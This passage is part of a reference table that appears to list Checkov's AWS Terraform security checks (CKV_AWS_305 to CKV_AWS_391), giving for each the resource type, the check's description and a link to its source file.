| aws_secretsmanager_secret_rotation | Ensure Secrets Manager secrets should be rotated within 90 days | Terraform | [SecretManagerSecret90days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecretManagerSecret90days.py) | | 436 | CKV_AWS_305 | resource | aws_cloudfront_distribution | Ensure CloudFront distribution has a default root object configured | Terraform | [CloudfrontDistributionDefaultRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionDefaultRoot.py) | | 437 | CKV_AWS_306 | resource | aws_sagemaker_notebook_instance | Ensure SageMaker notebook instances should be launched into a custom VPC | Terraform | [SagemakerNotebookInCustomVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookInCustomVPC.py) | | 438 | CKV_AWS_307 | resource | aws_sagemaker_notebook_instance | Ensure SageMaker Users should not have root access to SageMaker notebook instances | Terraform | [SagemakerNotebookRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookRoot.py) | | 439 | CKV_AWS_308 | resource | aws_api_gateway_method_settings | Ensure API Gateway method setting caching is set to encrypted | Terraform | [APIGatewayMethodSettingsCacheEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayMethodSettingsCacheEncrypted.py) | | 440 | CKV_AWS_309 | resource | aws_apigatewayv2_route | Ensure API GatewayV2 routes specify an authorization type | Terraform | [APIGatewayV2RouteDefinesAuthorizationType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/APIGatewayV2RouteDefinesAuthorizationType.py) | | 441 | CKV_AWS_310 | resource | aws_cloudfront_distribution | Ensure CloudFront distributions should have origin failover configured | Terraform | [CloudfrontDistributionOriginFailover.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudfrontDistributionOriginFailover.py) | | 442 | CKV_AWS_311 | resource | aws_codebuild_project | Ensure that CodeBuild S3 logs are encrypted | Terraform | [CodebuildS3LogsEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildS3LogsEncrypted.py) | | 443 | CKV_AWS_312 | resource | aws_elastic_beanstalk_environment | Ensure Elastic Beanstalk environments have enhanced health reporting enabled | Terraform | [ElasticBeanstalkUseEnhancedHealthChecks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticBeanstalkUseEnhancedHealthChecks.py) | | 444 | CKV_AWS_313 | resource | aws_rds_cluster | Ensure RDS cluster configured to copy tags to snapshots | Terraform | [RDSClusterCopyTags.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterCopyTags.py) | | 445 | CKV_AWS_314 | resource | aws_codebuild_project | Ensure CodeBuild project environments have a logging configuration | Terraform | [CodebuildHasLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodebuildHasLogs.py) | | 446 | CKV_AWS_315 | resource | aws_autoscaling_group | Ensure EC2 Auto Scaling groups use EC2 launch templates | Terraform | [AutoScalingLaunchTemplate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingLaunchTemplate.py) | | 447 | CKV_AWS_316 | resource | aws_codebuild_project | Ensure CodeBuild project environments do not have privileged mode enabled | Terraform | [CodeBuildPrivilegedMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CodeBuildPrivilegedMode.py) | | 448 | CKV_AWS_317 | resource | aws_elasticsearch_domain | Ensure Elasticsearch Domain Audit Logging is enabled | Terraform | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainAuditLogging.py) | | 449 | CKV_AWS_317 | resource | aws_opensearch_domain | Ensure Elasticsearch Domain Audit Logging is enabled | Terraform | [ElasticsearchDomainAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainAuditLogging.py) | | 450 | CKV_AWS_318 | resource | aws_elasticsearch_domain | Ensure Elasticsearch domains are configured with at least three dedicated master nodes for HA | Terraform | [ElasticsearchDomainHA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainHA.py) | | 451 | CKV_AWS_318 | resource | aws_opensearch_domain | Ensure Elasticsearch domains are configured with at least three dedicated master nodes for HA | Terraform | [ElasticsearchDomainHA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticsearchDomainHA.py) | | 452 | CKV_AWS_319 | resource | aws_cloudwatch_metric_alarm | Ensure that CloudWatch alarm actions are enabled | Terraform | [CloudWatchAlarmsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchAlarmsEnabled.py) | | 453 | CKV_AWS_320 | resource | aws_redshift_cluster | Ensure Redshift clusters do not use the default database name | Terraform | [RedshiftClusterDatabaseName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterDatabaseName.py) | | 454 | CKV_AWS_321 | resource | aws_redshift_cluster | Ensure Redshift clusters use enhanced VPC routing | Terraform | [RedshiftClusterUseEnhancedVPCRouting.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterUseEnhancedVPCRouting.py) | | 455 | CKV_AWS_322 | resource | aws_elasticache_cluster | Ensure ElastiCache for Redis cache clusters have auto minor version upgrades enabled | Terraform | [ElasticCacheAutomaticMinorUpgrades.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticCacheAutomaticMinorUpgrades.py) | | 456 | CKV_AWS_323 | resource | aws_elasticache_cluster | Ensure ElastiCache clusters do not use the default subnet group | Terraform | [ElastiCacheHasCustomSubnet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElastiCacheHasCustomSubnet.py) | | 457 | CKV_AWS_324 | resource | aws_rds_cluster | Ensure that RDS Cluster log capture is enabled | Terraform | [RDSClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterLogging.py) | | 458 | CKV_AWS_325 | resource | aws_rds_cluster | Ensure that RDS Cluster audit logging is enabled for MySQL engine | Terraform | [RDSClusterAuditLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterAuditLogging.py) | | 459 | CKV_AWS_326 | resource | aws_rds_cluster | Ensure that RDS Aurora Clusters have backtracking enabled | Terraform | [RDSClusterAuroraBacktrack.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterAuroraBacktrack.py) | | 460 | CKV_AWS_327 | resource | aws_rds_cluster | Ensure RDS Clusters are encrypted using KMS CMKs | Terraform | [RDSClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSClusterEncryptedWithCMK.py) | | 461 | CKV_AWS_328 | resource | aws_alb | Ensure that ALB is configured with defensive or strictest desync mitigation mode | Terraform | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py) | | 462 | CKV_AWS_328 | resource | aws_elb | Ensure that ALB is configured with defensive or strictest desync mitigation mode | Terraform | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py) | | 463 | CKV_AWS_328 | resource | aws_lb | Ensure that ALB is configured with defensive or strictest desync mitigation mode | Terraform | [ALBDesyncMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ALBDesyncMode.py) | | 464 | CKV_AWS_329 | resource | aws_efs_access_point | EFS access points should enforce a root directory | Terraform | [EFSAccessPointRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSAccessPointRoot.py) | | 465 | CKV_AWS_330 | resource | aws_efs_access_point | EFS access points should enforce a user identity | Terraform | [EFSAccessUserIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EFSAccessUserIdentity.py) | | 466 | CKV_AWS_331 | resource | aws_ec2_transit_gateway | Ensure Transit Gateways do not automatically accept VPC attachment requests | Terraform | [Ec2TransitGatewayAutoAccept.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/Ec2TransitGatewayAutoAccept.py) | | 467 | CKV_AWS_332 | resource | aws_ecs_service | Ensure ECS Fargate services run on the latest Fargate platform version | Terraform | [ECSServiceFargateLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSServiceFargateLatest.py) | | 468 | CKV_AWS_333 | resource | aws_ecs_service | Ensure ECS services do not have public IP addresses assigned to them automatically | Terraform | [ECSServicePublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSServicePublicIP.py) | | 469 | CKV_AWS_334 | resource | aws_ecs_task_definition | Ensure ECS containers should run as non-privileged | Terraform | [ECSContainerPrivilege.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerPrivilege.py) | | 470 | CKV_AWS_335 | resource | aws_ecs_task_definition | Ensure ECS task definitions should not share the host's process namespace | Terraform | [ECSContainerHostProcess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerHostProcess.py) | | 471 | CKV_AWS_336 | resource | aws_ecs_task_definition | Ensure ECS containers are limited to read-only access to root filesystems | Terraform | [ECSContainerReadOnlyRoot.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ECSContainerReadOnlyRoot.py) | | 472 | CKV_AWS_337 | resource | aws_ssm_parameter | Ensure SSM parameters are using KMS CMK | Terraform | [SSMParameterUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SSMParameterUsesCMK.py) | | 473 | CKV_AWS_338 | resource | aws_cloudwatch_log_group | Ensure CloudWatch log groups retains logs for at least 1 year | Terraform | [CloudWatchLogGroupRetentionYear.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudWatchLogGroupRetentionYear.py) | | 474 | CKV_AWS_339 | resource | aws_eks_cluster | Ensure EKS clusters run on a supported Kubernetes version | Terraform | [EKSPlatformVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EKSPlatformVersion.py) | | 475 | CKV_AWS_340 | resource | aws_elastic_beanstalk_environment | Ensure Elastic Beanstalk managed platform updates are enabled | Terraform | [ElasticBeanstalkUseManagedUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ElasticBeanstalkUseManagedUpdates.py) | | 476 | CKV_AWS_341 | resource | aws_launch_configuration | Ensure Launch template should not have a metadata response hop limit greater than 1 | Terraform | [LaunchTemplateMetadataHop.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchTemplateMetadataHop.py) | | 477 | CKV_AWS_341 | resource | aws_launch_template | Ensure Launch template should not have a metadata response hop limit greater than 1 | Terraform | [LaunchTemplateMetadataHop.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LaunchTemplateMetadataHop.py) | | 478 | CKV_AWS_342 | resource | aws_waf_rule_group | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 479 | CKV_AWS_342 | resource | aws_waf_web_acl | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 480 | CKV_AWS_342 | resource | aws_wafregional_rule_group | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 481 | CKV_AWS_342 | resource | aws_wafregional_web_acl | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 482 | CKV_AWS_342 | resource | aws_wafv2_rule_group | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 483 | CKV_AWS_342 | resource | aws_wafv2_web_acl | Ensure WAF rule has any actions | Terraform | [WAFRuleHasAnyActions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/WAFRuleHasAnyActions.py) | | 484 | CKV_AWS_343 | resource | aws_redshift_cluster | Ensure Amazon Redshift clusters should have automatic snapshots enabled | Terraform | [RedshiftClusterAutoSnap.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterAutoSnap.py) | | 485 | CKV_AWS_344 | resource | aws_networkfirewall_firewall | Ensure that Network firewalls have deletion protection enabled | Terraform | [NetworkFirewallDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallDeletionProtection.py) | | 486 | CKV_AWS_345 | resource | aws_networkfirewall_firewall | Ensure that Network firewall encryption is via a CMK | Terraform | [NetworkFirewallUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallUsesCMK.py) | | 487 | CKV_AWS_345 | resource | aws_networkfirewall_rule_group | Ensure that Network firewall encryption is via a CMK | Terraform | [NetworkFirewallUsesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallUsesCMK.py) | | 488 | CKV_AWS_346 | resource | aws_networkfirewall_firewall_policy | Ensure Network Firewall Policy defines an encryption configuration that uses a customer managed Key (CMK) | Terraform | [NetworkFirewallPolicyDefinesCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkFirewallPolicyDefinesCMK.py) | | 489 | CKV_AWS_347 | resource | aws_neptune_cluster | Ensure Neptune is encrypted by KMS using a customer managed Key (CMK) | Terraform | [NeptuneClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterEncryptedWithCMK.py) | | 490 | CKV_AWS_348 | resource | aws_iam_access_key | Ensure IAM root user does not have Access keys | Terraform | [IAMUserRootAccessKeys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMUserRootAccessKeys.py) | | 491 | CKV_AWS_349 | resource | aws_emr_security_configuration | Ensure EMR Cluster security configuration encrypts local disks | Terraform | [EMRClusterConfEncryptsLocalDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsLocalDisk.py) | | 492 | CKV_AWS_350 | resource | aws_emr_security_configuration | Ensure EMR Cluster security configuration encrypts EBS disks | Terraform | [EMRClusterConfEncryptsEBS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsEBS.py) | | 493 | CKV_AWS_351 | resource | aws_emr_security_configuration | Ensure EMR Cluster security configuration encrypts InTransit | Terraform | [EMRClusterConfEncryptsInTransit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsInTransit.py) | | 494 | CKV_AWS_352 | resource | aws_network_acl_rule | Ensure NACL ingress does not allow all Ports | Terraform | [NetworkACLUnrestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NetworkACLUnrestricted.py) | | 495 | CKV_AWS_353 | resource | aws_db_instance | Ensure that RDS instances have performance insights enabled | Terraform | [RDSInstancePerformanceInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerformanceInsights.py) | | 496 | CKV_AWS_353 | resource | aws_rds_cluster_instance | Ensure that RDS instances have performance insights enabled | Terraform | [RDSInstancePerformanceInsights.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerformanceInsights.py) | | 497 | CKV_AWS_354 | resource | aws_db_instance | Ensure RDS Performance Insights are encrypted using KMS CMKs | Terraform | [RDSInstancePerfInsightsEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerfInsightsEncryptionWithCMK.py) | | 498 | CKV_AWS_354 | resource | aws_rds_cluster_instance | Ensure RDS Performance Insights are encrypted using KMS CMKs | Terraform | [RDSInstancePerfInsightsEncryptionWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RDSInstancePerfInsightsEncryptionWithCMK.py) | | 499 | CKV_AWS_355 | resource | aws_iam_group_policy | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py) | | 500 | CKV_AWS_355 | resource | aws_iam_policy | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py) | | 501 | CKV_AWS_355 | resource | aws_iam_role_policy | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py) | | 502 | CKV_AWS_355 | resource | aws_iam_user_policy | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py) | | 503 | CKV_AWS_355 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [IAMStarResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py) | | 504 | CKV_AWS_356 | data | aws_iam_policy_document | Ensure no IAM policies documents allow "*" as a statement's resource for restrictable actions | Terraform | [ResourcePolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/ResourcePolicyDocument.py) | | 505 | CKV_AWS_357 | resource | aws_transfer_server | Ensure Transfer Server allows only secure protocols | Terraform | [TransferServerAllowsOnlySecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerAllowsOnlySecureProtocols.py) | | 506 | CKV_AWS_358 | data | aws_iam_policy_document | Ensure AWS GitHub Actions OIDC authorization policies only allow safe claims and claim order | Terraform | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/GithubActionsOIDCTrustPolicy.py) | | 507 | CKV_AWS_359 | resource | aws_neptune_cluster | Neptune DB clusters should have IAM database authentication enabled | Terraform | [NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py) | | 508 | CKV_AWS_360 | resource | aws_docdb_cluster | Ensure DocumentDB has an adequate backup retention period | Terraform | [DocDBBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DocDBBackupRetention.py) | | 509 | CKV_AWS_361 | resource | aws_neptune_cluster | Ensure that Neptune DB cluster has automated backups enabled with adequate retention | Terraform | [NeptuneClusterBackupRetention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneClusterBackupRetention.py) | | 510 | CKV_AWS_362 | resource | aws_neptune_cluster | Neptune DB clusters should be configured to copy tags to snapshots | Terraform | [NeptuneDBClustersCopyTagsToSnapshots.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/NeptuneDBClustersCopyTagsToSnapshots.py) | | 511 | CKV_AWS_363 | resource | aws_lambda_function | Ensure Lambda Runtime is not deprecated | Terraform | [DeprecatedLambdaRuntime.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/DeprecatedLambdaRuntime.py) | | 512 | CKV_AWS_364 | resource | aws_lambda_permission | Ensure that AWS Lambda function permissions delegated to AWS services are limited by SourceArn or SourceAccount | Terraform | [LambdaServicePermission.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/LambdaServicePermission.py) | | 513 | CKV_AWS_365 | resource | aws_ses_configuration_set | Ensure SES Configuration Set enforces TLS usage | Terraform | [SesConfigurationSetDefinesTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SesConfigurationSetDefinesTLS.py) | | 514 | CKV_AWS_366 | resource | aws_cognito_identity_pool | Ensure AWS Cognito identity pool does not allow unauthenticated guest access | Terraform | [CognitoUnauthenticatedIdentities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CognitoUnauthenticatedIdentities.py) | | 515 | CKV_AWS_367 | resource | aws_sagemaker_data_quality_job_definition | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt model artifacts | Terraform | [SagemakerDataQualityJobDefinitionEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionEncryption.py) | | 516 | CKV_AWS_368 | resource | aws_sagemaker_data_quality_job_definition | Ensure Amazon Sagemaker Data Quality Job uses KMS to encrypt data on attached storage volume | Terraform | [SagemakerDataQualityJobDefinitionVolumeEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionVolumeEncryption.py) | | 517 | CKV_AWS_369 | resource | aws_sagemaker_data_quality_job_definition | Ensure Amazon Sagemaker Data Quality Job encrypts all communications between instances used for monitoring jobs | Terraform | [SagemakerDataQualityJobDefinitionTrafficEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerDataQualityJobDefinitionTrafficEncryption.py) | | 518 | CKV_AWS_370 | resource | aws_sagemaker_model | Ensure Amazon SageMaker model uses network isolation | Terraform | [SagemakerModelWithNetworkIsolation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerModelWithNetworkIsolation.py) | | 519 | CKV_AWS_371 | resource | aws_sagemaker_notebook_instance | Ensure Amazon SageMaker Notebook Instance only allows for IMDSv2 | Terraform | [SagemakerNotebookInstanceAllowsIMDSv2.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerNotebookInstanceAllowsIMDSv2.py) | | 520 | CKV_AWS_372 | resource | aws_sagemaker_flow_definition | Ensure Amazon SageMaker Flow Definition uses KMS for output configurations | Terraform | [SagemakerFlowDefinitionUsesKMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SagemakerFlowDefinitionUsesKMS.py) | | 521 | CKV_AWS_373 | resource | aws_bedrockagent_agent | Ensure Bedrock Agent is encrypted with a CMK | Terraform | [BedrockAgentEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BedrockAgentEncrypted.py) | | 522 | CKV_AWS_374 | resource | aws_cloudfront_distribution | Ensure AWS CloudFront web distribution has geo restriction enabled | Terraform | [CloudFrontGeoRestrictionDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/CloudFrontGeoRestrictionDisabled.py) | | 523 | CKV_AWS_375 | resource | aws_s3_bucket_acl | Ensure AWS S3 bucket does not have global view ACL permissions enabled | Terraform | [S3GlobalViewACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3GlobalViewACL.py) | | 524 | CKV_AWS_376 | resource | aws_elb | Ensure AWS Elastic Load Balancer listener uses TLS/SSL | Terraform | [ELBwListenerNotTLSSSL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/ELBwListenerNotTLSSSL.py) | | 525 | CKV_AWS_377 | resource | aws_route53domains_registered_domain | Ensure Route 53 domains have transfer lock protection | Terraform | [Route53TransferLock.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/Route53TransferLock.py) | | 526 | CKV_AWS_378 | resource | aws_alb_listener | Ensure AWS Load Balancer doesn't use HTTP protocol | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml) | | 527 | CKV_AWS_378 | resource | aws_alb_target_group | Ensure AWS Load Balancer doesn't use HTTP protocol | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml) | | 528 | CKV_AWS_378 | resource | aws_lb_listener | Ensure AWS Load Balancer doesn't use HTTP protocol | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml) | | 529 | CKV_AWS_378 | resource | aws_lb_target_group | Ensure AWS Load Balancer doesn't use HTTP protocol | Terraform | [LBTargetGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LBTargetGroup.yaml) | | 530 | CKV_AWS_379 | resource | aws_s3_bucket_acl | Ensure AWS S3 bucket is configured with secure data transport policy | Terraform | [S3SecureDataTransport.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3SecureDataTransport.py) | | 531 | CKV_AWS_380 | resource | aws_transfer_server | Ensure AWS Transfer Server uses latest Security Policy | Terraform | [TransferServerLatestPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/TransferServerLatestPolicy.py) | | 532 | CKV_AWS_381 | resource | aws_codegurureviewer_repository_association | Make sure that aws_codegurureviewer_repository_association has a CMK | Terraform | [AWSCodeGuruHasCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AWSCodeGuruHasCMK.py) | | 533 | CKV_AWS_382 | resource | aws_security_group | Ensure no security groups allow egress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py) | | 534 | CKV_AWS_382 | resource | aws_security_group_rule | Ensure no security groups allow egress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py) | | 535 | CKV_AWS_382 | resource | aws_vpc_security_group_egress_rule | Ensure no security groups allow egress from 0.0.0.0:0 to port -1 | Terraform | [SecurityGroupUnrestrictedEgressAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SecurityGroupUnrestrictedEgressAny.py) | | 536 | CKV_AWS_383 | resource | aws_bedrockagent_agent | Ensure AWS Bedrock agent is associated with Bedrock guardrails | Terraform | [BedrockGuardrails.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/BedrockGuardrails.py) | | 537 | CKV_AWS_385 | resource | aws_sns_topic_policy | Ensure AWS SNS topic policies do not allow cross-account access | Terraform | [SNSCrossAccountAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SNSCrossAccountAccess.py) | | 538 | CKV_AWS_386 | data | aws_ami | Reduce potential for WhoAMI cloud image name confusion attack | Terraform | [WhoAMI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/aws/WhoAMI.py) | | 539 | CKV_AWS_387 | resource | aws_sqs_queue_policy | Ensure SQS policy does not allow public access through wildcards | Terraform | [SQSOverlyPermissive.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/SQSOverlyPermissive.py) | | 540 | CKV_AWS_388 | resource | aws_db_instance | Ensure AWS Aurora PostgreSQL is not exposed to local file read vulnerability | Terraform | [UnpatchedAuroraPostgresDB.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/UnpatchedAuroraPostgresDB.py) | | 541 | CKV_AWS_389 | resource | aws_launch_configuration | Ensure AWS Auto Scaling group launch configuration doesn't have public IP address assignment enabled | Terraform | [AutoScalingGroupWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/AutoScalingGroupWithPublicAccess.py) | | 542 | CKV_AWS_390 | resource | aws_emr_block_public_access_configuration | Ensure AWS EMR block public access setting is enabled | Terraform | [EMRPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/EMRPubliclyAccessible.py) | | 543 | CKV_AWS_391 | resource | aws_redshift_cluster | Avoid AWS Redshift cluster with commonly used master username and public access setting enabled 